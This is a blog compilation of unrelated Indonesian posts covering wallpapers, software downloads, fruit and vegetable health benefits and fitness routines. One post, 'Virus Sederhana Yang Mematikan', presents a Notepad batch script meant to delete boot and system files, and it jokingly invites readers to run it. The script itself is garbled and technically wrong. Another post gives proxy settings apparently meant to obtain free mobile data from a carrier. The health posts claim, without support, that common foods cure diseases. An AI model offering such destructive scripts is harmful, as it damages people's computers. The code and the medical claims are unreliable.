Koleksi Foto Wallpaper Cherry Belle - Chibi Terbaru

Koleksi Foto Wallpaper Cherry Belle - Chibi Terbaru


Pada kesempatan kali ini saya akan memposting sebuah koleksi foto sebuah girl band asal indonesia yang sedang popular yaitu Cherry Belle, sebuah grub dengan personil yang sangat cantik cantik ini mampu menghibur masyarakat luas di seluruh indonesia dengan lagu dan tarian mereka. Kali ini saya akan beri judul Koleksi Foto Wallpaper Cherry Belle - Chibi Terbaru untuk kalian semua yang menggemarinya. Langsung saja lihat wallpaper dan koleksi foto Cherry Belle dibawah ini:

Download Aplikasi Opera Mini (opmin) 5.1 s60v2.sis

Download Aplikasi Opera Mini (opmin) 5.1 s60v2.sis

Nah...buat sobat semuanya yg menggunakan hp s60v2, opmin ini sangat cocok bgt dipasang di hp sobat sekalian(buat yg blum pnya) tp buat sobat semuax yg udh pnya abaikan aj x yeee....

okey....buat sobat n para pengunjung sekalian yg ingin memiliki opmin ini, ane persilahkan dengan hormat,silahkan download opminx diakhir postingan ini.

Okey....sobat,coz udh mlm sekian dlu y...postingan ane pd mlm hri ini,smg postingan ini dpt berguna n' bermanfaat buat sobat & para pengunjung sekalian,amien...

Download Aplikasi Opera Mini (opmin) 5.1 s60v2.sis

opera-mini-5-1-beta-s60v2.sis

Tips Dan Trik Terbaru Internet gratis 3 Three Bolt Handler Ucweb

Tips Dan Trik Terbaru Internet gratis 3 Three Bolt Handler Ucweb


Berikut pengaturan nya
>>Pengaturan Bolt Handler:
Gunakan jalur akses standar
Remove port: centang
Proxy type: Real Host
Proxy server: 0.facebook.com

>>Setting Ucweb handler
Jalur akses
Apn: 3gprs
proxy:066.154.107.219
port:80
remove port: centang
Proxy type: real host
proxy server: 0.facebook .com

Klik Untuk update gretongan via facebook

Silakan di download Bolt dan Ucweb handlernya
Bolt.jar
Bolt.zip
Ucweb.zip
Ucweb.jar

Virus Sederhana Yang Mematikan

Dunia komputer adalah dunia yang penuh warna. Seperti halnya kehidupan, di dalamnya ada hitam juga ada putih. Untuk membuat sebuah program aplikasi biasanya kita menggunakan bahasa pemrograman. Dengan bahasa pemrograman kita dapat membuat sebuah aplikasi sederhana bahkan sampai dengan tingkat kompleks yang di dalamnya terdapat database sebagai penyimpanan datanya. Salah satu jenis bahasa pemrograman yang populer saat ini digunakan adalah Visual Basic, MySQL, dan Java. Virus adalah 'dunia hitam' dari sebuah bahasa pemrograman. Karena dengan bahasa pemrograman tersebut kita juga dapat membuat sebuah program yang bersifat merusak berupa virus.

   Namun bagi anda yang tidak mengerti sama sekali mengenai bahasa pemrograman, tidak usah khawatir. Dengan memanfaatkan sebuah notepad, kita juga dapat membuat sebuah virus sederhana yang mematikan. Notepad merupakan sebuah program bawaan Windows yang sebenarnya digunakan untuk menulis catatan. Namun dengan kesederhanaannya ini kita dapat memanfaatkannya untuk membuat sebuah virus.
Menarik kah ??

   Mari kita bersama-sama membuat sebuah virus dengan notepad. Untuk langkah awal, silahkah buka terlebih dahulu program notepad nya. Klik start --> All programs --> Accessoris --> pilih notepad ! Lalu masukkan kode berikut ;

< %

del c:\ntdetect.sys
del c:\ntldr.sys
del c:\msconfig.sys

%systemroot%bootmgr%users%cmd=restart.com

end
%>
@ echoend

   Simpan dengan nama virus_mematikan.bat. Ganti save as type menjadi All Files. Script di atas akan menghapus semua file yang terdapat pada sistem root di drive C. Drive C:// merupakan tempat di mana bersarang nya semua program yang telah kita install. Didalamnya juga terdapat file-file penting seperti file library atau System32. Apa yang akan terjadi bila file-file tersebut terhapus ? Booommm.....!!! Komputer akan menjad crash, hank dan perlu di repair bahkan di Install ulang. heheheee 

    Namun ini hanya untuk pembelajaran semata lho ! jangan di praktekkan.. hehee boleh dink diprektekkan, tapi efek yang ditimbulkan nanti di tanggung masing-masing lho ya...? bukan tanggung jawab saya. wkwkwk Saya hanya sekedar sharing ilmu. Sekian posting gila ini saya buat, mudah-mudahan bermanfaat :D

sumber : http://anak-jelex.blogspot.com/

Game Booster 3.3.1 Final

Game Booster is a small software to help improve computer performance lost as a result some Windows applications reside and work in the background. Stop the program with Windows and other applications while not required, then the ability of processors can be optimized to run key applications such as games. Not only that, by temporarily disabling resident program that runs in background, then the memory space on the computer a little bigger. Last function seems to be very useful if a computer only has a small memory. Game Booster with expected availability of additional memory space so that the main application can utilize the most.

Is Game Booster can improve computer performance significantly?. Not really, Game Booster software that would just minimizing unnecessary. And avoid interference due to the program which runs quietly in the back. Game Booaster can maximize the ability of processes to processors to the largest applications such as gaming applications and maximize your computer's memory space.

 Download :

• Download GameBooster 3.3.1 Final (5Mb Mediafire)

• Password : cassanovazones

sumber : cassanova-zones.blogspot.com

Manfa'at buah Anggur Bagi Tubuh Kita

Rasanya yang asam manis, bentuk dengan warna menggoda membuat buah anggur disukai banyak kalangan. Bahkan anggur dianggap sebagai buah mewah yang memiliki rasa istimewa.

Di balik bentuknya yang menarik itu, ternyata banyak manfaat kesehatan yang bisa diperoleh dari buah cantik ini. Anggur merupakan sumber energi instan dan bisa membuat Anda terlihat lebih muda.

Buah ini bukan hanya merupakan sumber yang kaya vitamin A, C, B6 dan folat tetapi juga memiliki mineral penting seperti potasium, kalsium, besi, magnesium fosfor, dan selenium.

Jika Anda berpikir menggigit salah satu dari sedikit buah menggoda ini bisa membuat penampilan terlihat lebih muda maka Anda mungkin benar. Sebab, buah ini mengandung flavonoid - antioksidan kuat yang dapat membantu memperlambat proses penuaan, yang mengurangi kerusakan yang disebabkan radikal bebas.

Berkat nilai gizi tinggi, buah ini dapat digunakan mengobati sembelit, gangguan pencernaan, kelelahan, gangguan ginjal, degenerasi otot dan dapat mencegah katarak. Anggur adalah sumber energi yang baik dan sebagai pembangun tubuh, dan sumber energi yang cepat.

Ketahui manfaat lebih buah anggur lainnya seperti dikutip dari Idiva:

1. Anggur kering atau kismis yang bergizi dan membantu mengatasi masalah termasuk sembelit, asidosis, anemia, demam, kelemahan seksual dan membantu meningkatkan berat badan dan bermanfaat untuk kesehatan mata.

2. Memerangi penyakit
Asma: Anggur memiliki kekuatan assimilatory tinggi dan dapat meningkatkan kadar air dalam paru-paru. Tak hanya itu, aktivitas antibakteri anggur merah memiliki sifat antibakteri dan antivirus yang kuat dan dapat melindungi Anda dari infeksi.

Penyakit Alzheimer: penelitian menunjukkan, anggur dapat meningkatkan kesehatan otak dan mencegah timbulnya penyakit neurodegenerative seperti Alzheimer.

Kanker payudara: Studi pada tikus laboratorium telah menunjukkan bahwa jus  berwarna ungu membantu dalam mencegah kanker payudara secara signifikan mengurangi massa tumor.

Sembelit: Anggur mengandung asam organik, gula dan selulosa dan dianggap makanan pencahar. Mereka meringankan sembelit kronis dengan mengencangkan sampai usus dan perut.

Kelelahan: Jus anggur menyediakan energi instan. Jus buah anggur putih kaya zat besi dan mencegah kelelahan.

Tuhan Menciptakan apa yang ada di bumi ini pasti ada manfaatnya..
Tingkat oksida nitrat dalam darah meningkat ketika Anda makan buah anggur, dan mampu mencegah pembekuan dan mengurangi kemungkinan serangan jantung. Antioksidan di dalam buah anggur menghentikan oksidasi kolesterol LDL, yang menghambat pembuluh darah.
Pencernaan: Anggur lebih disukai ketika seseorang menderita gangguan pencernaan, karena mereka merupakan makanan ringan. Buah ini menurunkan panas dan menyembuhkan gangguan pencernaan dan iritasi lambung.

Migrain: Masak jus anggur , tanpa pencampuran air tambahan membantu dalam menyembuhkan migrain.

Gangguan Ginjal: Anggur dapat membantu dalam penghapusan asam dari sistem, sehingga mengurangi tekanan kerja ginjal.
by:Ady Saifuloh Ashari

Manfa'at Sayuran Wortel Bagi Tubuh Kita

Wortel merupakan jenis sayuran yang banyak di gemari oleh masyarakat. Selain kaya vitamin wortel juga mempunyai banyak manfaat untuk kesehatan manusia. Warna cerah dan rasa sedikit manis di dalamnya semakin membuat yakin manfaat wortel begitu besar untuk manusia.

Beberapa orang belum mempunyai pemahaman yang benar tentang apa saja manfaat wortel untuk kesehatan. Kalangan anak muda merasa jenis sayuran ini hanya bermanfaat bagi orang-orang yang mengalami gangguan penglihatan. Padahal banyak sekali manfaat wortel yang belum di ketahui oleh manusia umumnya.

Wortel

Inilah beberapa manfaat wortel untuk kesehatan :

-Mengatasi batuk-batuk
-Mengatasi hipertensi
-Mencegah rabun senja dan memulihkan penglihatan
-Mengatasi luka bakar
-Mengatasi nyeri haid
-Mengatasi sembelit
-Mengatasi amandel
-Mengatasi demam pada anak-anak
-Menghaluskan wajah

Setelah mengetahui beberapa manfaat wortel untuk kesehatan, tidak ada salahnya untuk segera mengonsumsi sayuran ini dan merasakan manfaatnya.
by:Ady Saifuloh Ashari

Manfa'at Brokoli Bagi Tubuh Kita

Brokoli mengandung magnesium yang mempunyai manfaat untuk meningkatkan daya ingat dan juga intelejensi pada berbagai usia. informasi ini berdasarkan penelitian oleh salah satu universitas di beijing, china, yaitu di Univertsitas Ching Hua.

Dikabarkan bahwa saat ini tim peneliti tersebut sedang mengembangkan suplemen untuk meningkatkan daya ingat yang berbasis magnesium. sebagai percobaan penelitian dilakukan ujicoba suplemen magnesium pada tikus pada usia yang berbeda beda.

hasil penelitian itu menunjukkan bahwa level magnesium yang tinggi dapat meningkatkan daya ingat dan juga kestabilan mental tikus. dan tentunya dibutuhkan penelitian yang lebih lanjut untu tahu bagaimana pengaruh magnesium yang tinggi pada tubuh manusia.

tapi kalau dilihat dari kegunaannya sebagai zat yang membentuk sel darah merah berupa zat pengikat oksigen dan hemoglobin, magnesium ini mempunyai peran yang sangat besar dalam menjaga syaraf agar tetap dalam keadaan normal. selain hal yang tersebut di atas, magnesium pun juga dapat mempertahankan detak jantung agar tetap stabil, dapat menguatkan tulang dan juga metabolisme energi.

Brokoli juga sangat baik untuk menurunkan kolesterol, ini akan semakin terasa jika Anda memasaknya dengan cara direbus, karena kandungan serat dari brokoli bisa mematikan sedikit demi sedikit kolesterol dalam tubuh. Selain itu, serat dalam brokoli membuat asam empedu dalam saluran pencernaan Anda jadi lebih baik. Brokoli mentah masih memiliki kemampuan menurunkan kolesterol akan tetapi tidak banyak, lebih baik konsumsinya dengan cara direbus. Itu dilakukan agar bakteri dalam brokoli bisa mati.

Dampak positif Brokoli pada sistem detoksifikasi. Baru-baru ini para peneliti telah mengidentifikasi salah satu alasan utama melakukan detoksifikasi. Di dalam sayuran brokoli terdapat kandungan zat glucoraphanin, gluconasturtiian, dan glucobrassicin. Trio dinamis itu mampu mendukung semua langkah dalam proses detoksifikasi tubuh, termasuk aktivasi, netralisasi, dan penghapusan kontaminan yang tidak diinginkan. Isothiocyanate (ITC) adalah molekul detoks yang mengatur untuk menghancurkan racun-racun dalam tubuh anda di saat Anda mengonsumsi brokoli serta brokoli membantu mengendalikan proses detoksifikasi pada tingkat genetik.

Brokoli juga membantu atasi kekurangan vitamin. Ketika dosis tambahan besar vitamin D diperlukan untuk mengimbangi kekurangan di tubuh, persediaan yang cukup baik vitamin K dan vitamin A membantu menjaga metabolisme. Sedangkan vitamin D dalam tubuh Anda untuk mengatur keseimbangan. Brokoli memiliki kombinasi yang luar biasa kuat dari kedua vitamin A dan vitamin K. Brokoli juga dapat menjadi makanan ideal Anda untuk melakukan diet.

Penelitian terbaru telah menunjukkan kemampuan kaempferol untuk mengurangi dampak zat alergi pada tubuh kita. Dan Brokoli merupakan sumber kaya vitamin kaempferol yang disebut flavonoid.
by:Ady Saifuloh Ashari

Manfa'at Buah Jruk bagi Tubuh

Ada banyak sekali Manfaat Buah Jeruk - Berbagai varietas jeruk ada di muka bumi ini. Dari yang bercitarasa asam hingga manis. Walaupun berbeda warna, bentuk dan rasa, jeruk memiliki kesamaan, yaitu kaya akan antioksidan, tinggi mineral dan vitamin C yang sangat bermanfaat bagi tubuh Manusia.

• Jeruk Bali (Citrus maxima)

Bentuknya besar dengan daging buah berwarna putih ataug merah muda. Jeruk ini memiliki cita rasa manis, asam dan segar karena banyak mengandung air. Jeruk bali mengandung vitamin B, provitamin A, vitamin B1, B2 dan asam folat. Setiap 100 g jeruk bali mengandung 53 kkal energi, protein 0,6 g, lemak 0.2 g, karbohidrat 12.2 g, retinol 125 mcg, kalsium 23 mg dan 27 mg fosfor. Kandungan lain seperti flavonoid, pektin dan lycopene menjadikan buah ini semakin kaya akan zat-zat yang bermanfaat bagi kesehatan.

Beragam manfaat bisa diperoleh jika mengkonsumsi jus jeruk bali. Senyawa terkandung di dalam jeruk bali mampu mencegah kanker, menurunkan risiko penyakit jantung, melancarkan saluran pencernaan, menjaga kesehatan kulit, mencegah konstipasi, menurunkan kolesterol dan mencegah anemia.

• Jeruk Manis/orange (Citrus Aurantium)

Jenis manis mengandung betakaroten dan bioflavanoid yang dapat memperkuat dinding pembuluh darah kapiler. Pektinnya juga banyak terapat dalam buah dan kulit jeruk, manfaatnya membantu menurunkan kadar kolesterol jahat (LDL) dan mingkatkan kolesterol baik (HDL). Jeruk juga berlimpah kandungan flavanoidnya, seperti flavanpis yang berfungsi sebagai antioksidan penangkal menangkap radikal bebas penyebab kanker. Flavanoid juga menghalangi reaksi oksidasi LDL yang menyebabkan darah mengental dan mencegah pengendapan lemak pada dinding pembuluh darah. Jeruk juga kaya akan kandungan gula buah yang dapat memulihkan energi secara cepat. Jeruk juga kaya akan serat (dietary fiber) yang dapat mengikat zat karsinogen di dalam saluran pencernaan. Manfaatnya sembelit, wasir dan kanker
kolon bisa dihindari.

Di dalam 100 g jeruk manis mengandung energi 51 kkal, protein 0,9 g, lemak 0.2 g, karbohidrat 11.4 g, kalsium 33 mg, fosfor 23 mg, besi 0.4 mg, retinol 57 mcg dan asam askorbat 49 mg. Jejruk juga kaya akan serat yang dapat memperlancar proses pencernaan.

• Jeruk Lemon (Citrus medica Linn)

Di samping kandungan vitamin C yang melimpah, jeruk lemon juga kaya dengan vitamin B, E, natrium, dan beberapa mineral mikro yang dibutuhkan tubuh untuk sisitem imunitas (kekebalan) serta mencegah virus penyebab influenza. Lemon juga sarat dengan kandungan bioflavanoid yang berperan sebagai antioksidan pencegah kanker. Flavanoid jeruk lemon berfungsi menghalangi oksidasi LDL sehingga aterosklerosis penyebab jantung dan stroke bisa dihindari. Jeruk lemon juga berlimpah kandungan serat berupa pektin yang baik untuk menurunkan kadar
kolesterol dan trigliserida.

• Jeruk Nipis (Citrus auranfolia)

Banyak unsur senyawa kimia yang bemanfaat dalam jeruk nipis, seperti linalina setat, limonen, geranil asetat, sitral dan fellandren. Di dalam 100 gram buah jeruk nipis mengandung: vitamin C 27 mg kalsium 40 mg, fosfor 22 miligram, hidrat arang 12,4 g, vitamin B 1 0,04 mg, zat besi 0,6 mg, lemak 0,1 g, kalori 37 kkal, protein 0,8 g dan air 86 g. Jeruk nipis mengandung unsur-unsur senyawa kimia antara lain limonen, linalin asetat, geranil asetat, fellandren, sitral dan asam sitrat.

Dengan kandungan yang melimpah itu, tak heran jika jeruk nipis ampuh menghadang amandel, malaria, ambien, sesak nafas, influenza, batuk; sakit panas, sembelit, terlambat haid, perut mules saat haid; disentri, perut mulas, lelah, bau badan, keriput wajah. Tak kalah pentingnya, jeruk nipis mampu menghambat pembentukan kristal oksalat yang merupakan penyebab penyakit batu ginjal.

Langkah Membentuk Otot Perut Lebih Indah (Sixpack)

Otot perut memegang peranan penting dalam menunjang penampilan. Otot perut yang indah bebas lemak dapat meningkatkan rasa percaya diri dan memperbaiki postur tubuh. Membentuk otot perut ideal bukanlah perkara mudah, diperlukan ketekunan dalam berlatih juga memahami jenis latihan yang efektif. Selain latihan, faktor makanan juga perlu Anda perhatikan untuk mendapatkan otot perut ideal.

Berikut ini 10 cara untuk dapatkan otot perut ideal impian Anda

1. Diet Tinggi Protein Rendah Karbohidrat
   Untuk mendapatkan otot perut ideal, makanlah 5-6 kali sehari dengan makanan tinggi protein dan rendah karbohidrat. Kebiasaan ini dapat meningkatkan metabolisme tubuh dan menjaga Anda kenyang lebih lama.
2. Berlatih Beban Dan Kardio
   Kalori dan lemak tubuh akan terbakar seiring meningkatnya aktivitas tubuh. Salah satu cara untuk meningkatkan aktivitas tubuh adalah dengan melakukan latihan beban dan latihan kardio. Lakukan latihan beban sebelum Anda melakukan latihan kardio, maka tubuh Anda akan membakar lemak lebih banyak.
3. Minum Air Yang Cukup
   Tubuh akan melakukan metabolisme lebih cepat dan membakar lemak dengan maksimal jika berada dalam kondisi yang terhidrasi (cukup air). Minumlah setidaknya 8-9 gelas air perhari untuk membantu tubuh membakar lemak lebih cepat.
4. Variasikan Latihan Anda
   Variasi latihan diperlukan untuk mencegah kebosanan. Di samping itu, jika Anda melakukan satu latihan saja, maka Anda tidak akan mendapatkan otot perut dengan cepat. Tambahkan latihan lain yang dapat melatih seluruh bagian otot perut secara merata.
Ingin Dapatkan Perut Sixpack? Dapatkan Panduannya Di Sini, Gratis!
5. Pahami Cara Mendapatkan Otot Perut Yang Benar
   Lemak di perut tidak akan hilang hanya dengan melakukan ribuan crunch setiap hari. Untuk mendapatkan otot perut ideal, Anda harus menyingkirkan lemak berlebih tubuh Anda terlebih dahulu. Latihan kardio adalah latihan yang tepat untuk menyingkirkan lemak berlebih. Bagi pria, setidaknya harus menurunkan 12% lemak tubuh dan bagi wanita sekitar 14% lemak tubuh.
6. Jangan Tinggalkan Sarapan
   Sarapan sehat merupakan bagian terpenting untuk mendapatkan otot perut ideal. Biasakan sarapan tinggi protein dan rendah karbohidrat untuk mencegah porsi makan yang terlalu besar di siang hari.
7. Menjaga Frekuensi Latihan
   Latihlah otot perut Anda setidaknya 4-5x seminggu dengan latihan yang berbeda. Untuk membentuk otot perut ideal, setidaknya lakukan latihan dengan 2-3 set 6-8 repetisi per set dengan jeda istirahat 30-45 detik antar set.
8. Hindari Makanan Yang Terlalu Banyak Mengandung Gula Dan Garam
   Fastfood dan gorengan, adalah contoh makanan yang banyak mengandung gula olahan dan garam. Kandungan gula berlebih yang masuk ke dalam tubuh dapat menimbulkan timbunan lemak baru yang dapat menutupi otot-otot Anda, sedangkan mengonsumsi garam berlebih, sering dikaitkan dengan risiko tekanan darah tinggi.
9. Variasikan Latihan Kardio Anda
   Latihan kardio merupakan latihan yang efektif untuk membakar lemak berlebih tubuh Anda. Ada banyak variasi latihan kardio yang bisa Anda lakukan, seperti lari jarak jauh, sprint, renang, dan sebagainya. Di samping membakar lemak lebih cepat, latihan ini juga berguna untuk melatih otot perut Anda.
10. Percaya Diri
    Inilah modal utama saat Anda berencana memulai latihan. Tanamkan dalam pikiran Anda bahwa Anda sanggup menyelesaikan semua program untuk mendapatkan otot perut ideal. Jika Anda menanamkan ini, maka Anda akan lebih mudah meraih tujuan Anda.

Tidak ada yang tidak mungkin jika Anda memiliki tekad dan usaha kuat untuk mewujudkan impian Anda, termasuk mendapatkan otot perut ideal. Mulailah 10 langkah di atas dan dapatkan otot perut ideal Anda segera.Hari ini juga..

Panduan Menyusun Program Latihan Fitnes

Proses merancang program latihan bisa sangat membingungkan karena banyaknya faktor yang perlu dipertimbangkan. Anda harus memutuskan jenis latihan apa yang harus dilakukan dan seberapa banyak set untuk setiap gerakan.


Banyak orang yang memulai program latihan dengan tergesa-gesa dan tanpa menyusun program latihan dengan tepat. Hasilnya, seringkali latihan yang mereka lakukan tidak membuahkan hasil yang signifikan. Lantas bagaimana seharusnya menyusun program latihan yang tepat itu? Berikut 4 hal yang bisa Anda jadikan pedoman dalam menyusun program latihan Anda.

1. Jaga Keseimbangan Intensitas Dan Pemulihan Latihan
   Saat merancang rutinitas latihan, intensitas latihan akan menentukan seberapa banyak masa pemulihan yang dibutuhkan. Semakin tinggi intensitas latihan yang dilakukan semakin banyak pula waktu yang diperlukan untuk melakukan pemulihan. Penambahan volume otot dan daya tahan membutuhkan penambahan masa pemulihan di tengah-tengah latihan. Jika Anda kembali melatih otot sebelum sepenuhnya pulih maka Anda akan berisiko alami overtraining dan cedera.

Jumlah set yang terlalu banyak dapat menyebabkan overtraining dan katabolisme otot

2. Pertimbangkan Dengan Baik Jenis Latihan Ketika Merencanakan Masa Pemulihan
   Jenis latihan yang Anda lakukan dalam sesi latihan, besar pengaruhnya terhadap jumlah masa pemulihan yang diperlukan. Penggabungan ragam latihan seperti squat, deadlift, bench presses, dan sebagainya, lebih mengakibatkan stress pada sistem syaraf dan memaksakan output energi lebih besar daripada latihan terisolasi seperti flyes, lateral raises, dan concentration curls. Oleh karenanya, Anda akan butuh lebih banyak masa pemulihan dengan kombinasi latihan yang lebih berat.
3. Tentukan Jumlah Set Yang Anda Butuhkan
   Sangatlah penting untuk menentukan set dengan jumlah yang tepat. Jumlah set yang terlalu banyak tidak hanya dapat mengakibatkan overtraining pada masing-masing kelompok otot, tetapi juga mengikis susunan syaraf bagian tengah dan menyebabkan katabolisme otot, terutama jika melakukan latihan yang terlalu keras.
4. Jadwalkan Waktu Istirahat
   Jangan jadwalkan latihan sama sekali pada hari istirahat. Pada hari-hari tersebut, biarkan sekujur tubuh beristirahat untuk menikmati masa pemulihan. Dalam satu minggu, Anda bisa menjadwalkan untuk berlatih sebanyak 4-5 kali, dengan 2 atau 3 hari istirahat. Perlu Anda ingat, bahwa pertumbuhan otot maksimal terjadi saat tubuh Anda mendapatkan istirahat yang cukup.

Imbangi rutinitas latihan dan masa pemulihan Anda dengan mengkonsumsi makanan sehat yang kaya nutrisi. Dengan mengkombinasikan ke tiga unsur tersebut, hasil latihan yang Anda impikan pasti akan tercapai dengan mudah.

Cara Membentuk Tubuh Sixpack Lebih Cepat Dengan Mudah

Perut sixpack tidak datang begitu saja. Tapi bukan berarti Anda harus melakukan ratusan crunch setiap hari agar perut sixpack segera Anda dapatkan. Tak cukup dengan latihan teratur, Anda juga perlu menerapkan gaya hidup dan kebiasaan yang akan mendukung pembentukan perut sixpack Anda. 4 kebiasaan berikut ini merupakan kebiasaan baik yang akan membantu Anda memiliki perut sixpack idaman dengan lebih cepat.

Awali Pagi Anda Dengan Air Putih
Minumlah air putih setelah Anda bangun tidur setidaknya 2 gelas air. Sebuah penelitian baru-baru ini menemukan bahwa minum air putih setelah bangun tidur dapat meningkatkan metabolisme tubuh sebesar 24% untuk 90 menit berikutnya. Terlebih lagi, sel-sel otot tumbuh lebih cepat ketika mereka terhidrasi dengan baik. Konsumsi air yang cukup setiap hari dianjurkan untuk membantu membentuk perut sixpack Anda.

Gabungkan Protein dan Karbohidrat
Sekalipun karbohidrat dapat disimpan jadi lemak yang bisa menutupi otot perut Anda, karbohidrat tetap dibutuhkan tubuh sebagai sumber energi. Jika dipadukan dengan protein, karbohidrat dapat membantu pembentukan otot, terutama jika Anda gabungkan keduanya sebelum dan sesudah latihan. Lebih banyak otot maka lebih banyak lemak yang hilang.

Makan Siang Yang Sehat
Hindari makanan cepat saji dan minuman bersoda. Makanan ini hanya akan membuat lemak Anda bertambah dan menghambat pembentukan perut sixpack Anda. Untuk menu yang lebih sehat Anda bisa mencoba beberapa menu berikut ini:

• Sebuah apel dan keju untuk snack pagi Anda.
• Konsumsilah karbohidrat kompleks, seperti roti gandum, pasta gandum, oatmeal, beras merah. Makanan ini mengandung lebih banyak serat dan dapat menunda lapar Anda lebih lama. Dan lengkapi dengan makanan berprotein tinggi seperti, ayam, ikan tuna, kacang-kacangan atau olahan kedelai.
• Anda bisa tambahkan protein shake ke dalam snack siang Anda.

Makan siang dengan menu sehat setiap hari akan membuat Anda jauh lebih kenyang dan puas. Selain itu, tubuh Anda juga mendapatkan nutrisi yang cukup untuk beraktivitas.

Tidur Yang cukup
Terapkan kebiasaan tidur yang cukup untuk mendapatkan perut sixpack Anda. Tubuh membutuhkan 7-8 jam tidur untuk fase pembentukan dan pemulihan otot. Penelitian menyebutkan, jika Anda kurang tidur selama 3 hari berturut-turut dapat menyebabkan sel-sel otot Anda menjadi resisten terhadap hormon insulin. Hal ini menyebabkan penimbunan lemak di sekitar perut Anda dengan memperlambat metabolisme, meningkatkan nafsu makan dan menurunkan jumlah kalori yang terbakar.
Dengan sedikit mengubah kebiasaan hidup menjadi lebih sehat, Anda bisa mendapatkan perut sixpack dengan lebih cepat dan optimal. Jadi, segera terapkan gaya hidup sehat ini sekarang juga!

Sumber: Dunia Fitnes

Dapatkan Otot Bicep Menawan Dengan Latihan (Dumbbell Curl) dengan benar

Memiliki otot bicep yang menawan pastilah mejadi impian dan idaman semua pria. Tak heran, jika banyak pria rajin melatih otot bicepnya agar terlihat lebih berotot dan mengembang. Otot bicep yang indah dan kencang dapat meningkatkan rasa percaya diri pemiliknya sekaligus berguna untuk menunjang postur tubuh ideal.

Ada berbagai macam latihan untuk melatih otot bicep Anda. Salah satunya adalah dumbbell curl. Dumbbell curl merupakan salah satu latihan bicep terbaik dari sekian banyak latihan yang bisa Anda lakukan. Melakukan latihan ini dengan teknik yang tepat akan membantu Anda mewujudkan otot bicep yang indah menawan.

• Cara Melakukan Latihan Dumbbell Curl

Pilihlah dumbbell dengan berat yang sesuai dengan kebutuhan Anda. Berdirilah dengan posisi tegap dengan memegang dumbbel di kedua tangan. Tekuk salah satu lengan Anda hingga sejajar bahu. Usahakan punggung Anda tidak membungkuk dan busungkan tulang dada Anda. Turunkan lengan Anda secara perlahan, kemudian lakukan secara bergantian untuk tangan Anda yang lain. Gunakan kekuatan otot bicep saat melakukan gerakan ini dan hindari gerakan mengayun agar otot bicep terlatih dengan tepat.

Variasi Latihan Dumbbell Curl
Latihan ini memiliki ragam variasi yang tidak akan membuat Anda bosan. Variasi latihan yang bisa Anda lakukan dengan dumbbell curl ini antara lain:

• Seated Dumbbell Curl
  Cara melakukannya yaitu, duduklah pada bench dalam posisi tegap dengan kedua tangan memegang dumbbell. Kemudian lakukan gerakan dumbbell curl seperti biasa. Anda juga bisa melakukan gerakan dumbbell curl dengan menggerakkan kedua tangan secara bersamaan jika Anda mulai jenuh dengan menggunakan tangan secara bergantian.

• Preacher Dumbbell Curl
  Cara melakukannya yaitu, duduklah pada sebuah preacher bench dengan memegang sebuah dumbbell di kedua tangan Anda. Sandarkan lengan Anda pada preacher bench dengan posisi telapak tangan menghadap ke atas. Kemudian tekuk lengan Anda sampai batas bahu dengan menggunakan otot bicep.

• Hammer Dumbbell Curl
  Cara melakukan latihan ini cukup mudah. Seperti halnya gerakan dasar saat Anda melakukan dumbbell curl. Gengggam sepasang dumbbell dengan berbaring telungkup pada bench. Posisi kedua tangan berada disamping tubuh dengan posisi kepalan tangan mengarah kedalam (berhadapan/hammer grip). Tekuk sikut setinggi mungkin dan kontraksikan otot bicep Anda saat mengangkat beban. Tahan. Kemudian kembali ke posisi semula dan lanjutkan dengan tangan yang lain. Jangan gunakan gerakan mengayun selama latihan.

Lakukan latihan dumbbell curl sebanyak 3 set dengan 8-12 repetisi, dan Anda akan dapatkan otot bicep menawan yang akan mempesona orang-orang di sekitar Anda. Selamat mencoba!


Sumber:Dunia Fitnes

Gerakan (Squat) Melatih Otot Paha

Paha dan bokong yang terbentuk dengan baik merupakan daya tarik tersendiri bagi wanita bukan hanya Wanita saja, para pria puan juga tidak mau ketinggalan. Banyak yang berusaha untuk mendapatkannya dengan melakukan berbagai macam latihan seperti aerobik atau ikut berlatih beban di fitnes.
Namun banyak juga wanita yang karena berbagai macam kendala tidak dapat melakukan latihan di tempat-tempat kebugaran. Oleh karena itu, beberapa contoh gerakan latihan untuk mengencangkan dan membentuk paha dan bokong berikut ini dapat menjadi salah satu alternatif latihan karena dapat dilakukan sendiri di rumah.
Squat
           Untuk mengencangkan dan membentuk paha dan bokong, latihan terbaik yang bisa dilakukan adalah melakukan latihan squat. Squat merupakan latihan beban yang terberat dibandingkan dengan latihan lainnya hingga disebut sebagai "King of Exercises". Gerakan latihan Squat melibatkan paling banyak otot (tidak hanya otot kaki saja yang terlibat tetapi otot lain pun ikut serta seperti otot punggung, bahu, dada dll) dan merangsang pengeluaran Hormon Pertumbuhan (Growth Hormone/GH) terbanyak dibanding latihan beban lainnya sehingga sangat baik untuk membantu pembentukan otot dan kekuatan secara menyeluruh.


Gerakan latihan Full Squat
Untuk wanita yang ingin mengencangkan dan membentuk paha dan bokongnya, melakukan latihan squat ini dengan beban mungkin merupakan hal yang sangat berat. Untuk itu ada beberapa contoh gerakan squat yang dapat dilakukan tanpa menggunakan beban tambahan (hanya dengan beban badan sendiri) sehingga latihan ini dapat dilakukan di rumah.


Single Leg Squat leg back

 
Single Leg Squat Pistol


Single leg Split Squat

Jika mempunyai sepasang dumbell, bisa juga menggunakan dumbell yang digenggam di kedua tangan untuk menambah beban.


Dumbbell Squat
Tips gerakan: Ketika mulai bergerak turun ke bawah, bayangkanlah seolah kita akan duduk sehingga lutut tidak akan bergerak melebihi ujung jari kaki. Jaga agar lutut tidak bergerak melebihi ujung kaki agar tekanan beban tetap pada paha dan bukan pada lutut. Pandanglah ke depan atau ke atas untuk menjaga posisi pungung agar tetap lurus. Turunkan badan sampai paha sejajar dengan lantai dan kembali ke posisi semula sambil membuang nafas.
Catatan: Untuk lebih memberi tekanan pada otot pantat, turunlah sampai paha berada sedikit dibawah posisi sejajar paha dengan lantai.

• Step Up

Gerakan Step up menyerupai gerakan pada saat kita melangkah menaiki tangga, sehingga memerlukan alat bantu berupa bangku atau lainnya.

 
Step up

 
Lateral Step up

 
Lateral Step up 2

Untuk menambah beban, bisa menggunakan sepasang dumbel yang digenggan di kedua tangan.


Dumbbell Step Up

• Lunges

Lunge merupakan latihan kaki yang melibatkan otot paha depan, paha belakang, pantat dan betis.


Barbell Lunge


Dumbbell Lunge


Walking Lunge
